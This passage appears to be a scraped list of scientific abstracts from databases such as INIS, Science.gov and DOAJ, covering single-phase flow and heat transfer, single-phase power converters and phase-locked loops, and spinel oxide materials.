equations is a discrete analogue of the initial system of differential equations. It is solved by parameter continuation method. To calculate the static characteristics as a function of a certain variable, the system is analytically differentiated, and then numerically integrated over this variable. In the process of integration, Newton's refinement is performed at each step or at every few steps, making it possible to implement the integration in just a few steps using Euler's method. Jacobi matrices in both cases are the same. To account for the current displacement in the rods of the squirrel-cage rotor, each of them, along with the squirrel-cage rings, is divided in height into several elements. This results in several squirrel-cage rotor windings which are represented by three-phase windings with magnetic coupling between them. 2. Multilevel markov chain monte carlo method for high-contrast single-phase flow problems KAUST Repository Efendiev, Yalchin R. 2014-12-19 In this paper we propose a general framework for the uncertainty quantification of quantities of interest for high-contrast single-phase flow problems. It is based on the generalized multiscale finite element method (GMsFEM) and multilevel Monte Carlo (MLMC) methods. The former provides a hierarchy of approximations of different resolution, whereas the latter gives an efficient way to estimate quantities of interest using samples on different levels. The number of basis functions in the online GMsFEM stage can be varied to determine the solution resolution and the computational cost, and to efficiently generate samples at different levels. In particular, it is cheap to generate samples on coarse grids but with low resolution, and it is expensive to generate samples on fine grids with high accuracy. By suitably choosing the number of samples at different levels, one can leverage the expensive computation in larger fine-grid spaces toward smaller coarse-grid spaces, while retaining the accuracy of the final Monte Carlo estimate. Further, we describe a multilevel Markov chain Monte Carlo method, which sequentially screens the proposal with different levels of approximations and reduces the number of evaluations required on fine grids, while combining the samples at different levels to arrive at an accurate estimate. The framework seamlessly integrates the multiscale features of the GMsFEM with the multilevel feature of the MLMC methods following the work in [26], and our numerical experiments illustrate its efficiency and accuracy in comparison with standard Monte Carlo estimates. © Global Science Press Limited 2015. 3. Single phase flow pressure drop and heat transfer in rectangular metallic microchannels International Nuclear Information System (INIS) Sahar, Amirah M.; Özdemir, Mehmed R.; Fayyadh, Ekhlas M.; Wissink, Jan; Mahmoud, Mohamed M.; Karayiannis, Tassos G. 2016-01-01 Numerical simulations were performed using Fluent 14.5 to investigate single phase flow and conjugate heat transfer in copper rectangular microchannels. Two different configurations were simulated: (1) single channel with hydraulic diameter of 0.561 mm and (2) multichannel configuration consisting of inlet and outlet manifolds and 25 channels with hydraulic diameter of 0.409 mm. In the single channel configuration, four numerical models were investigated namely, 2D thin-wall, 3D thin-wall (heated from the bottom), 3D thin-wall (three side heated) and 3D full conjugate models. In the multichannel configuration, only 3D full conjugate model was used. The simulation results of the single channel configuration were validated using experimental data of water as a test fluid while the results of the multichannel configuration were validated using experimental data of R134a refrigerant. In the multichannel configuration, flow distribution among the channels was also investigated. The 3D thin-wall model simulation was conducted at thermal boundary conditions similar to those assumed in the experimental data reduction (uniform heat flux) and showed excellent agreement with the experimental data. However, the results of the 3D full conjugate model demonstrated that there is a significant conjugate effect and the heat flux is not uniformly distributed along the channel resulting in significant deviation compared to the experimental data (more than 50%). Also, the results demonstrated that there is a significant difference between the 3D thin-wall and full conjugate models. The simulation of the multichannel configuration with an inlet manifold having gradual decrease in cross sectional area achieved very reasonable uniform flow distribution among the channels which will provide uniform heat transfer rates across the base of the microchannels. 4. Single-phase cross-mixing measurements in a 4 x 4 rod bundle International Nuclear Information System (INIS) Yloenen, Arto; Bissels, Wilhelm-Martin; Prasser, Horst-Michael 2011-01-01 Highlights: → The wire-mesh sensor technique has been successfully introduced into a fuel rod bundle geometry. → Quantitative information on the turbulent dispersion of the fluid was obtained. → In full spatial and temporal resolution, the data is interesting for the unsteady CFD validation. - Abstract: The wire-mesh sensor technique has been successfully introduced into a fuel rod bundle geometry for the first time. In this context, a dedicated test facility (SUBFLOW) has been designed and constructed at Paul Scherrer Institut (PSI) in a co-operation with the Swiss Federal Institute of Technology (ETH Zuerich). Two wire-mesh sensors designed and built in-house were installed in the upper part of the vertical test section of SUBFLOW, and single-phase experiments on the turbulent mass exchange between neighboring sub-channels were performed. For this purpose, salt tracer was injected locally in one of the sub-channels and conductivity distributions in the bundle measured by the wire-mesh sensor. Both flow rate and distance from the injection point were varied. The latter was achieved by using injection nozzles at different heights. In this way, the sensor located in the upper part of the channel could be used to characterize the progress of the mixing along the flow direction, and the degree of cross-mixing assessed using the quantity of tracer arriving in the neighboring sub-channels. Fluctuations of the tracer concentration in time were used for statistical evaluations, such as the calculation of standard deviations and two-point correlations. 5. Structural, electrical and magnetic properties of Sc{sup 3+} doped Mn-Zn ferrite nanoparticles Energy Technology Data Exchange (ETDEWEB) Angadi, V. Jagdeesha [Department of Physics, Bangalore University, Bangalore 560056 (India); Choudhury, Leema [Department of Physics, K.G. Reddy College of Engineering & Technology, Moinabad, 501504 Ranga Reddy, Telangana (India); Sadhana, K. [Department of Physics, University College of Science, Osmania University, Saifabad, Hyderabad 500004 (India); Liu, Hsiang-Lin [Department of Physics, National Taiwan Normal University, Taipei 11677, Taiwan (China); Sandhya, R. [Department of Physics, University College of Science, Osmania University, Hyderabad 500007 (India); Matteppanavar, Shidaling; Rudraswamy, B.; Pattar, Vinayak; Anavekar, R.V. [Department of Physics, Bangalore University, Bangalore 560056 (India); Praveena, K., E-mail: [email protected] [Department of Physics, National Taiwan Normal University, Taipei 11677, Taiwan (China) 2017-02-15 Sc{sup 3+} doped Mn{sub 0.5}Zn{sub 0.5}Sc{sub y}Fe{sub 2−y}O{sub 4} (y=0.00, 0.01, 0.03 and 0.05) nanoparticles were synthesized by solution combustion method using mixture of fuels were reported for the first time. The mixture of fuels plays an important role in obtaining nano crystalline, single phase present without any heat treatment. X-ray diffraction (XRD) results confirm the formation of the single-phase ferrites which crystallize in cubic spinel structure. The Fourier transform infrared spectra (FTIR) exhibit two prominent bands around 360 cm{sup −1} and 540 cm{sup −1} which are characteristic feature of spinel ferrite. The transmission electron microscope (TEM) micrographs revealed the nanoparticles to be nearly spherical in shape and of fairly uniform size. The room temperature impedance spectra (IS) and vibrating sample magnetometry (VSM) measurements were carried out in order to study the effect of doping (Sc{sup 3+}) on the characteristic properties of Mn-Zn ferrites. Further, the frequency dependent dielectric constant and dielectric loss were found to decrease with increasing multiple Sc{sup 3+} concentration. Nyquist plot in the complex impedance spectra suggest the existence of multiple electrical responses. Magnetic measurements reveals that saturation magnetization (M{sub s}), remnant magnetization (M{sub r}), magnetic moment (η{sub B}) and magnetic particle size (D{sub m}) increase with Sc{sup 3+} ion concentration up to x=0.03 and then decrease. The values of spin canting angle (α{sub Y-K}) and the magnetic particle size (D{sub m}) are found to be in the range of 68–75° and 10–19 nm respectively with Sc{sup 3+} concentration. The room temperature Mössbauer spectra were fitted with two sextets corresponding to ions at tetrahedral (A-) and octahedral (B-) sites confirms the spinel lattice. The ferromagnetic resonance (FMR) spectra's has shown that high concentration of scandium doping leads to an increase in dipolar interaction 6. Aqueous slip casting of MgAl2O4 spinel powder Keywords. MgAl2O4 spinel; phosphate coating; aluminium dihydrogen phosphate; orthophosphoric acid; slip casting; freeze granulation; double-stage firing process. 1. Introduction. Magnesium aluminate (MgAl2O4) spinel (MAS) possesses many important thermal, chemical, mechanical and physical properties (Hing 1976 ... 7. Enhancement photocatalytic activity of spinel oxide (Co, Ni3O4 by combination with carbon nanotubes Directory of Open Access Journals (Sweden) Kahdum Bashaer J. 2017-09-01 Full Text Available In this study, some types of composites consisting of multi-walled carbon nanotubes (MWCNTs and spinel oxide (Co, Ni3O4 were synthesized by simple evaporation method. These composites were characterized by UV–Vis diffuse reflectance spectroscopy, X-rays diffraction(XRD, Scanning electron microscopy (SEM and specific surface area(SBET. The photocatalytic activity of the prepared composites was investigated by the following removal of Bismarck brown G (BBG dye from its aqueous solutions. The obtained results showed that using MWCNTs in combination with spinel oxide to produced composites (spinel/MWCNTs which succeeded in increasing the activity of spinel oxide and exhibited higher photocatalytic activity than spinel oxide alone. Also it was found that, multiwalled carbon nanotubes were successful in increasing the adsorption and improving the activity of photocatalytic degradation of Bismarck brown G dye(BBG. The obtained results showed that spinel/MWCNTs was more active in dye removal in comparison with each of spinel oxide and MWCNTs alone under the same reaction conditions. Also band gap energies for the prepared composites showed lower values in comparison with neat spinel. This point represents a promising observation as these composites can be excited using a lower energy radiation sources. 8. Synthesis of high surface area spinel-type MgAl2O4 nanoparticles by 68 H2O)2]2[Mg(dipic)2] precursor has smaller crystallite size in comparison with the spinel synthesized through .... Iwamoto, Fabrication of porous spinel. (MgAl2O4) from porous alumina using a template method, Ceramics International 39 (2013). 9. PREPARATION OF NICKEL - COBALT SPINEL OXIDES Ni x CO 3-x ... African Journals Online (AJOL) X-ray diffraction patterns showed that the oxides crystallize in a cubic spinel phase. Electrical conductivity as well as porosity depends on the preparation route. KEY WORDS: Nickel cobalt spinel oxides, Porosity, Electrical conductivity, Mixed oxides electrodes, Carbon paste electrode, Pechini sol-gel method. Bull. Chem. 10. Effect of particle size on microstructure and strength of porous spinel ... The lightweight Al2O3–MgO refractories with high strength and high slag resistance were prepared, using the porous spinel ceramics with small pore size and homogenous pore distribution as aggregates (Yan et al 2008, 2009). Generally, the spinel can be synthesized by an electrofu- sion method, a sintering method and ... 11. Effect on the structural, DC resistivity and magnetic properties of Zr and Cu co-SubstitutedNi0.5Zn0.5Fe2O4using sol-gel auto-combustion method Science.gov (United States) Jalaiah, K.; Vijaya Babu, K.; Chandra mouli, K.; Subba Rao, P. S. V. 2018-04-01 The Zr and Cu co-substituted Ni0.5Zn0.5Fe2O4 ferrite nanoparticles have been synthesized by the sol-gel auto combustion method. The XRD patterns confirmed single phase cubic spinel structure for present ferrite systems. The substitution of co-dopants in the spinel structure initially decreases the lattice parameter from x = 0.00 to 0.08 and thereafter increases and the same tendency reflecting in cell volume. The DC resistivity was initially increased later followed the decreasing trend; however the drift mobility of all ferrite samples appears to be in opposite phenomenon to DC resistivity. The saturation magnetization and net magnetic moments of all ferrite samples are decreasing with increasing dopant concentration. The coercive field and Y-K angles are increased with dopant concentration. The initial permeability of all samples is decreased with increasing dopant concentration. The Q-Factor for all samples shows the narrow frequency band with increasing frequency. 12. Hydrothermal spinel, corundum and diaspore in lower oceanic crustal troctolites from the Hess Deep Rift Science.gov (United States) Nozaka, Toshio; Meyer, Romain; Wintsch, Robert P.; Wathen, Bryan 2016-06-01 Aluminous spinel, corundum and diaspore are reported from intensely altered parts of primitive troctolites recovered from IODP Site U1415 at the Hess Deep Rift. The spinel is green-colored, has an irregular shape, has low Cr concentrations, and is so distinct from primary igneous chromite. Corundum and diaspore occur mainly at the rims of green spinel grains with a texture suggesting a sequential replacement of spinel by corundum, and then corundum by diaspore. The green spinel is associated with anorthite and pargasite, which is overgrown by tremolite that forms coronitic aggregates with chlorite around olivine. These petrographic observations are supported by pressure-temperature pseudosections, which predict spinel + pargasite stability field, and tremolite/hornblende + chlorite field at lower temperature conditions. From these pseudosections and simplified system phase diagrams, estimated formation temperature conditions calculated at 2 kbar are 650-750 °C for spinel + pargasite, 410-690 °C for tremolite/hornblende + chlorite, 400-710 °C for corundum, and diaspore. Because the aluminous spinel occurs in the domains that were previously occupied by magmatic plagioclase, and because spinel-bearing rocks characteristically have high Al2O3/CaO and Al2O3/SiO2 ratios, it is likely that the stabilization of spinel was caused by the loss of Ca2+ and SiO2(aq) in high-temperature hydrothermal fluids. The results of this study suggest that (1) the concentrations of aluminous phases in the lower oceanic crust are presently underestimated, and (2) chemical modification of the lower oceanic crust due to high-temperature hydrothermal metasomatic reactions could be common near spreading axes. 13. On the prediction of single-phase forced convection heat transfer in narrow rectangular channels International Nuclear Information System (INIS) Ghione, Alberto; Noel, Brigitte; Vinai, Paolo; Demazière, Christophe 2014-01-01 In this paper, selected heat transfer correlations for single-phase forced convection are assessed for the case of narrow rectangular channels. The work is of interest in the thermal-hydraulic analysis of the Jules Horowitz Reactor (JHR), which is a research reactor under construction at CEA-Cadarache (France). In order to evaluate the validity of the correlations, about 300 tests from the SULTAN-JHR database were used. The SULTAN-JHR program was carried out at CEA-Grenoble and it includes different kinds of tests for two different vertical rectangular channels with height of 600 mm and gap of 1.51 and 2.16 mm. The experimental conditions range between 2 - 9 bar for the pressure; 0.5 - 18 m/s for the coolant velocity and 0.5 - 7.5 MW/m 2 for the heat flux (whose axial distribution is uniform). Forty-two thermocouples and eight pressure taps were placed at several axial locations, measuring wall temperature and pressure respectively. The analysis focused on turbulent flow with Reynolds numbers between 5.5 x 10 3 - 2.4 x 10 5 and Prandtl numbers between 1.5 - 6. It was shown that standard correlations as the Dittus-Boelter and Seider-Tate significantly under-estimate the heat transfer coefficient, especially at high Reynolds number. Other correlations specifically designed for narrow rectangular channels were also taken into account and compared. The correlation of Popov-Petukhov in the form suggested by Siman-Tov still under-estimates the heat transfer coefficient, even if slight improvements could be seen. A better agreement for the tests with gap equal to 2.16 mm could be found with the correlation of Ma and the one of Liang. However the heat transfer coefficient when the gap is equal to 1.51 mm could not be predicted accurately. Furthermore these correlations were based on data at low Reynolds numbers (up to 13000) and low heat flux, so the use of them for SULTAN-JHR may be questionable. According to the authors’ knowledge, existing models of heat transfer 14. Single phase and two phase erosion corrosion in broilers of gas-cooled reactors International Nuclear Information System (INIS) Harrison, G.S.; Fountain, M.J. 1988-01-01 Erosion-corrosion is a phenomenon causing metal wastage in a variety of locations in water and water-steam circuits throughout the power generation industry. Erosion-corrosion can occur in a number of regions of the once-through boiler designs used in the later Magnox and AGR type of gas cooled nuclear reactor. This paper will consider two cases of erosion-corrosion damage (single and two phase) in once through boilers of gas cooled reactors and will describe the solutions that have been developed. The single phase problem is associated with erosion-corrosion damage of mild steel downstream of a boiler inlet flow control orifice. With metal loss rates of up to 1 mm/year at 150 deg. C and pH in the range 9.0-9.4 it was found that 5 μg/kg oxygen was sufficient to reduce erosion-corrosion rates to less than 0.02 mm/year. A combined oxygen-ammonia-hydrazine feedwater regime was developed and validated to eliminate oxygen carryover and hence give protection from stress corrosion in the austenitic section of the AGR once through boiler whilst still providing erosion-corrosion control. Two phase erosion-corrosion tube failures have occurred in the evaporator of the mild steel once through boilers of the later Magnox reactors operating at pressures in the range 35-40 bar. Rig studies have shown that amines dosed in the feedwater can provide a significant reduction in metal loss rates and a tube lifetime assessment technique has been developed to predict potential tube failure profiles in a fully operational boiler. The solutions identified for both problems have been successfully implemented and the experience obtained following implementation including any problems or other benefits arising from the introduction of the new regimes will be presented. Methods for monitoring and evaluating the efficiency of the solutions have been developed and the results from these exercises will also be discussed. Consideration will also be given to the similarities in the metal loss 15. Compositional Variation of Chrome Spinels in the Ore-bearing Zones of the Kraka Ophiolite and the Chromitite Origin Directory of Open Access Journals (Sweden) D. E. Saveliev 2017-07-01 Full Text Available The article considers a chemical variation of accessory and ore-forming chrome spinels from the Kraka ultramafic massif at the different scales, from the deposit to the thin section. A correlation analysis of compositional and structural features of ultramafic rocks and ores was performed. The ultramafic rocks and chromitites in the studied massif show the distinct deformation structures and tectonite olivine fabric. A typical chemical gap (i.e. Cr#=Cr/(Cr+Al was observed between peridotite, on the one hand, and dunite and chromitite, on the other hand, on the scale of deposits and ore-bearing zones. The location and size of this gap depend on the type of deposit. The gap becomes wider from the disseminated tabular bodies to the typical podiform ones. It has been found that in the thin initial dunite veinlets in peridotite the chrome spinels chemistry changes gradually and there is no Cr# gap between peridotite and dunite. The dunite venlets show a strong olivine fabric, which is an evidence of their high-temperature plastic flow origin. It has been revealed that new chrome spinel grains previously formed as rods or needles and then coarsened. We explained this observation as the result of impurity segregation, coalescence and spheroidization induced by the plastic deformation of olivine. It is inferred that a solid crystal flow is the main requirement for the dunite and chromitite body formation in the Kraka ophiolite massif. In the solid stream, the mineral phase separation takes place. For example, olivine and orthopyroxene grains of parental peridotite separate from one another, and weaker (more mobile olivine grains form dunite bodies in which chromitite appears as a result of impurity segregation. 16. A New Spinel-Olivine Oxybarometer: Near-Liquidus Partitioning of V between Olivine-Melt, Spinel-Melt, and Spinel-Olivine in Martian Basalt Composition Y980459 as a Function of Oxygen Fugacity Science.gov (United States) Papike, J. J.; Le, L.; Burger, P. V.; Shearer, C. K.; Bell, A. S.; Jones, J. 2013-01-01 Our research on valence state partitioning began in 2005 with a review of Cr, Fe, Ti, and V partitioning among crystallographic sites in olivine, pyroxene, and spinel [1]. That paper was followed by several on QUE94201 melt composition and specifically on Cr, V, and Eu partitioning between pyroxene and melt [2-5]. This paper represents the continuation of our examination of the partitioning of multivalent V between olivine, spinel, and melt in martian olivine-phyric basalts of Y980459 composition [6, 7]. Here we introduce a new, potentially powerful oxybarometer, V partitioning between spinel and olivine, which can be used when no melt is preserved in the meteorite. The bulk composition of QUE94201 was ideal for our study of martian pyroxene-phyric basalts and specifically the partitioning between pyroxene-melt for Cr, V, and Eu. Likewise, bulk composition Y980459 is ideal for the study of martian olivine-phyric basalts and specifically for olivine-melt, spinel-melt, and spinel-olivine partitioning of V as a function of oxygen fugacity. 17. A High-Power-Density Single-Phase Rectifier Based on Three-Level Neutral-Point Clamped Circuits Directory of Open Access Journals (Sweden) Tao Zhou 2017-05-01 Full Text Available A single-phase three-level converter is suitable for medium-power applications, with an interface voltage that is higher than that of a traditional two-level configuration. The three-level neutral-point clamped converter is adopted using four switches in each bridge arm, which, compared to a two-level rectifier, leads to less voltage stress, a lower switching frequency, and switching loss on switches. The transient current control strategy is designed to control the active power. The single-phase space vector pulse width modulation (SVPWM with a voltage balance strategy is designed to solve the neutral point voltage fluctuation problem and keep the dc-link voltage stable. A 1.3 kW high-power-density prototype based on SiC MOSFET was built and tested. The experimental results verified the high performance of steady-state and dynamic responses. 18. Impact of Intragranular Substructure Parameters on the Forming Limit Diagrams of Single-Phase B.C.C. Steels Directory of Open Access Journals (Sweden) Gérald Franz 2013-11-01 Full Text Available An advanced elastic-plastic self-consistent polycrystalline model, accounting for intragranular microstructure development and evolution, is coupled with a bifurcation-based localization criterion and applied to the numerical investigation of the impact of microstructural patterns on ductility of single-phase steels. The proposed multiscale model, taking into account essential microstructural aspects, such as initial and induced textures, dislocation densities, and softening mechanisms, allows us to emphasize the relationship between intragranular microstructure of B.C.C. steels and their ductility. A qualitative study in terms of forming limit diagrams for various dislocation networks, during monotonic loading tests, is conducted in order to analyze the impact of intragranular substructure parameters on the formability of single-phase B.C.C. steels. 19. Theoretical modelling and experimental investigation of single-phase and two-phase flow division at a tee-junction International Nuclear Information System (INIS) Lemonnier, H.; Hervieu, E. 1991-01-01 Phase separation in a tee-junction is modelled in the particular case of bubbly-flow. The model is based on a two-dimensional approach and hence, uses local equations. The first step consists in modelling the single-phase flow in the tee-junction. The free streamline theory is used to predict the flow of the continuous phase. The two recirculation zones which are presented in this case are predicted by the model. The second step consists in predicting the gas bubble paths as a result of the actions of the single-phase flow. Finally, the trajectories of gas bubbles are used to predict the separation characteristics of the tee-junction. Each step of the modelling procedure has been carefully tested by an in-depth experimental investigation. Excellent quantitative agreement is obtained between experimental results and model predictions. Moreover, the phase separation phenomenon is found to be clearly described by the model. (orig.) 20. Green synthesis of isopropyl myristate in novel single phase medium Part II: Packed bed reactor (PBR) studies. Science.gov (United States) Vadgama, Rajeshkumar N; Odaneth, Annamma A; Lali, Arvind M 2015-12-01 Isopropyl myristate is a useful functional molecule responding to the requirements of numerous fields of application in cosmetic, pharmaceutical and food industry. In the present work, lipase-catalyzed production of isopropyl myristate by esterification of myristic acid with isopropyl alcohol (molar ratio of 1:15) in the homogenous reaction medium was performed on a bench-scale packed bed reactors, in order to obtain suitable reaction performance data for upscaling. An immobilized lipase B from Candida antartica was used as the biocatalyst based on our previous study. The process intensification resulted in a clean and green synthesis process comprising a series of packed bed reactors of immobilized enzyme and water dehydrant. In addition, use of the single phase reaction system facilitates efficient recovery of the product with no effluent generated and recyclability of unreacted substrates. The single phase reaction system coupled with a continuous operating bioreactor ensures a stable operational life for the enzyme. 1. Green synthesis of isopropyl myristate in novel single phase medium Part II: Packed bed reactor (PBR studies Directory of Open Access Journals (Sweden) 2015-12-01 Full Text Available Isopropyl myristate is a useful functional molecule responding to the requirements of numerous fields of application in cosmetic, pharmaceutical and food industry. In the present work, lipase-catalyzed production of isopropyl myristate by esterification of myristic acid with isopropyl alcohol (molar ratio of 1:15 in the homogenous reaction medium was performed on a bench-scale packed bed reactors, in order to obtain suitable reaction performance data for upscaling. An immobilized lipase B from Candida antartica was used as the biocatalyst based on our previous study. The process intensification resulted in a clean and green synthesis process comprising a series of packed bed reactors of immobilized enzyme and water dehydrant. In addition, use of the single phase reaction system facilitates efficient recovery of the product with no effluent generated and recyclability of unreacted substrates. The single phase reaction system coupled with a continuous operating bioreactor ensures a stable operational life for the enzyme. 2. The Influence of phase-locked loop on the stability of single-phase grid-connected inverter DEFF Research Database (Denmark) Zhang, Chong; Wang, Xiongfei; Blaabjerg, Frede 2015-01-01 admittance of single-phase current-controlled inverters with different grid stiffness is analyzed in this paper. It shows that the PLL introduces a negative paralleled admittance into the output admittance of the inverter, which may lead to unintentional low-order harmonic oscillation in a weak grid...... for avoiding the PLL induced instability in single-phase inverters. At last the relationship between PLL bandwidth and the Short Circuit Ratio (SCR) of the grid has been derived to guide the design of the PLL. Experimental results are presented in order to verify this analysis, and the resonant frequencies can...... be predicted by the method. The possible instability due to different PLL bandwidth is also demonstrated.... 3. Analysis and Mitigation of Dead Time Harmonics in the Single-Phase Full-Bridge PWM Converters with Repetitive Controllers DEFF Research Database (Denmark) Yang, Yongheng; Zhou, Keliang; Wang, Huai 2018-01-01 -Width Modulation (PWM) schemes. Both solutions will contribute to a degradation of the injected current quality. As a consequence, the harmonics induced by the dead time (referred to as "dead time harmonics" hereafter) have to be compensated in order to achieve a satisfactory current quality as required...... by standards. In this paper, the emission mechanism of dead time harmonics in single-phase PWM inverters is thus presented considering the modulation schemes in details. More importantly, a repetitive controller has been adopted to eliminate the dead time effect in single-phase grid-connected PWM converters....... The repetitive controller has been plugged into a proportional resonant-based fundamental current controller so as to mitigate the dead time harmonics and also maintain the control of the fundamental-frequency grid current in terms of dynamics. Simulations and experiments are provided, which confirm... 4. Analysis, Design, and Experimental Verification of A Synchronous Reference Frame Voltage Control for Single-Phase Inverters DEFF Research Database (Denmark) Monfared, Mohammad; Golestan, Saeed; Guerrero, Josep M. 2014-01-01 Control of three-phase power converters in the synchronous reference frame is now a mature and well developed research topic. However, for single-phase converters, it is not as well-established as three-phase applications. This paper deals with the design of a synchronous reference frame multi......-loop control strategy for single phase inverter-based islanded distributed generation (DG) systems. The proposed controller uses a synchronous reference frame PI (SRFPI) controller to regulate the instantaneous output voltage, a capacitor current shaping loop in the stationary reference frame to provide active...... in the synchronous reference frame, it is not straightforward to fine-tune the control parameters and evaluate the stability of the whole closed loop system. To overcome this problem, the stationary reference frame equivalent of the voltage loop is derived. Then, a step-by-step systematic design procedure based... 5. Challenges to Grid Synchronization of Single-Phase Grid-Connected Inverters in Zero-Voltage Ride-Through Operation DEFF Research Database (Denmark) Zhang, Zhen; Yang, Yongheng; Blaabjerg, Frede 2016-01-01 With the fast development in Photovoltaic (PV) technology, the relevant grid-connection requirements/standards are continuously being updated, and more challenges have been imposed on both single-phase and three-phase grid-connected PV systems. For instance, PV systems are currently required...... to remain connected under grid voltage sags (even zero voltage condition). In this case, much attention should be paid to the grid synchronization in such a way to properly ride-through grid faults. Thus, in this paper, the most commonly-used and recently-developed Phase Locked Loop (PLL) synchronization...... methods have been evaluated for single-phase grid-connected PV systems in the case of Zero-Voltage Ride-Through (ZVRT) operation. The performances of the prior-art PLL methods in response to zero voltage faults in terms of detection precision and dynamic response are assessed in this paper. Simulation... 6. Power Based Phase-Locked Loop Under Adverse Conditions with Moving Average Filter for Single-Phase System Directory of Open Access Journals (Sweden) Menxi Xie 2017-06-01 Full Text Available High performance synchronization methord is citical for grid connected power converter. For single-phase system, power based phase-locked loop(pPLL uses a multiplier as phase detector(PD. As single-phase grid voltage is distorted, the phase error information contains ac disturbances oscillating at integer multiples of fundamental frequency which lead to detection error. This paper presents a new scheme based on moving average filter(MAF applied in-loop of pPLL. The signal characteristic of phase error is dissussed in detail. A predictive rule is adopted to compensate the delay induced by MAF, thus achieving fast dynamic response. In the case of frequency deviate from nomimal, estimated frequency is fed back to adjust the filter window length of MAF and buffer size of predictive rule. Simulation and experimental results show that proposed PLL achieves good performance under adverse grid conditions. 7. Role of spinel substrate in the morphology of BiFeO3-CoFe2O4 epitaxial nanocomposite films Science.gov (United States) Stern, Ilan; He, Jibao; Zhou, Xiaolan; Silwal, Punam; Miao, Ludi; Vargas, Jose Marcelo; Spinu, Leonard; Kim, Dae Ho 2011-08-01 Epitaxial thin films of BiFeO3-CoFe2O4 composite were grown on spinel MgAl2O4 substrates with a (001) orientation. The composite formed an intriguing nanogrid structure where perovskite BiFeO3 forms linear mounds embedded in a matrix of spinel CoFe2O4. The structure makes a stark distinction with similar composite films on (001) perovskite SrTiO3 substrates where CoFe2O4 forms nanopillars surrounded by a BiFeO3 matrix. This result shows the interface between the film and the substrate that plays a determining role during the formation of the composite. 8. Safe-commutation principle for direct single-phase AC-AC converters for use in audio power amplification Energy Technology Data Exchange (ETDEWEB) Ljusev, P.; Andersen, Michael A.E. 2005-07-01 This paper presents an alternative safe commutation principle for a single phase bidirectional bridge, for use in the new generation of direct single-stage AC-AC audio power amplifiers. As compared with the bridge commutation with load current or source voltage sensing, in this approach it is not required to do any measurements, thus making it more reliable. Initial testing made on the prototype prove the feasibility of the approach. (au) 9. Phase Balancing by Means of Electric Vehicles Single-Phase Connection Shifting in a Low Voltage Danish Grid DEFF Research Database (Denmark) Lico, Pasqualino; Marinelli, Mattia; Knezovic, Katarina 2015-01-01 In Denmark, household consumers are supplied with three phase with neutral cable. In addition, the distribution service operator cannot decide to which phase electrical appliance are connected. The technician who realizes the installation connects the loads according to his technical expertise...... stations are equipped with single-phase converters. According to the designed control strategy, the charging spot can select the phase to be used for the charge. The selection is done according to a phase voltage measurement.... 10. A single-phase PWM controlled AC to DC converter based on control of unity displacement power factor OpenAIRE Funabiki, Shigeyuki 1990-01-01 A modified pulse-width modulation (PWM) technique that improves the displacement power factor and the input power factor of a single-phase AC to DC converter is discussed. The modified converter is shown to have a high input power factor and allows the of DC voltage from zero to more than the maximum value of the source voltage. The displacement power factor is unity, and the input power factor is almost unity in the wide range of current command 11. Design and analysis of linear oscillatory single-phase permanent magnet generator for free-piston stirling engine systems OpenAIRE Jeong-Man Kim; Jang-Young Choi; Kyu-Seok Lee; Sung-Ho Lee 2017-01-01 This study focuses on the design and analysis of a linear oscillatory single-phase permanent magnet generator for free-piston stirling engine (FPSE) systems. In order to implement the design of linear oscillatory generator (LOG) for suitable FPSEs, we conducted electromagnetic analysis of LOGs with varying design parameters. Then, detent force analysis was conducted using assisted PM. Using the assisted PM gave us the advantage of using mechanical strength by detent force. To improve the effi... 12. Application of higher harmonics in protection against single-phase earth faults in resonant grounded cable networks of medium voltage OpenAIRE Vinokurova, T. Yu.; Dobryagina, O. A.; Shagurina, E. S.; Shuin, V. A. 2015-01-01 Protections based by higher harmonics absolute measurements the zero sequence currents of the protected object connections against single-phase earth faults in resonant grounded cable networks of medium voltage industrial and urban energy supply systems have been widely applied in Russia since the late 60s of the 20th century. However, some operational problems connected with sufficient selectivity and sensitivity of these protection devices appeared with time. Sensitivity and selectivity of ... 13. Performance enhancement of the single-phase series active filter by employing the load voltage waveform reconstruction and line current sampling delay reduction methods DEFF Research Database (Denmark) Senturk, O.S.; Hava, A.M. 2011-01-01 This paper proposes the waveform reconstruction method (WRM), which is utilized in the single-phase series active filter's (SAF's) control algorithm, in order to extract the load harmonic voltage component of voltage harmonic type single-phase diode rectifier loads. Employing WRM and the line... 14. Analysis of free-surface flows through energy considerations: Single-phase versus two-phase modeling. Science.gov (United States) Marrone, Salvatore; Colagrossi, Andrea; Di Mascio, Andrea; Le Touzé, David 2016-05-01 The study of energetic free-surface flows is challenging because of the large range of interface scales involved due to multiple fragmentations and reconnections of the air-water interface with the formation of drops and bubbles. Because of their complexity the investigation of such phenomena through numerical simulation largely increased during recent years. Actually, in the last decades different numerical models have been developed to study these flows, especially in the context of particle methods. In the latter a single-phase approximation is usually adopted to reduce the computational costs and the model complexity. While it is well known that the role of air largely affects the local flow evolution, it is still not clear whether this single-phase approximation is able to predict global flow features like the evolution of the global mechanical energy dissipation. The present work is dedicated to this topic through the study of a selected problem simulated with both single-phase and two-phase models. It is shown that, interestingly, even though flow evolutions are different, energy evolutions can be similar when including or not the presence of air. This is remarkable since, in the problem considered, with the two-phase model about half of the energy is lost in the air phase while in the one-phase model the energy is mainly dissipated by cavity collapses. 15. On the influence of applied fields on spinel formation International Nuclear Information System (INIS) KORTE, C.; FARER, J.K.; RAVISHANKAR, N.; MICHAEL, JOSEPH R.; SCHMALZRIED, J.; CARTER, C.B. 2000-01-01 Interfaces play an important role in determining the effect of electric fields on the mechanism of the formation spinel by solid-state reaction. The reaction occurs by the movement of phase boundaries but the rate of this movement can be affected by grain boundaries in the reactants or in the reaction product. Only by understanding these relationships will it be possible to engineer their behavior. As a particular example of such a study, MgIn 2 O 4 can be formed by the reaction between single-crystal MgO substrate and a thin film of In 2 O 3 with or without an applied electric field. High-resolution backscattered electron (BSE) imaging and electron backscattered diffraction (EBSD) in a scanning electron microscope (SEM) has been used to obtain complementary chemical and crystallographic information 16. On the influence of applied fields on spinel formation Energy Technology Data Exchange (ETDEWEB) KORTE,C.; FARER,J.K.; RAVISHANKAR,N.; MICHAEL,JOSEPH R.; SCHMALZRIED,J.; CARTER,C.B. 2000-04-04 Interfaces play an important role in determining the effect of electric fields on the mechanism of the formation spinel by solid-state reaction. The reaction occurs by the movement of phase boundaries but the rate of this movement can be affected by grain boundaries in the reactants or in the reaction product. Only by understanding these relationships will it be possible to engineer their behavior. As a particular example of such a study, MgIn{sub 2}O{sub 4} can be formed by the reaction between single-crystal MgO substrate and a thin film of In{sub 2}O{sub 3} with or without an applied electric field. High-resolution backscattered electron (BSE) imaging and electron backscattered diffraction (EBSD) in a scanning electron microscope (SEM) has been used to obtain complementary chemical and crystallographic information. 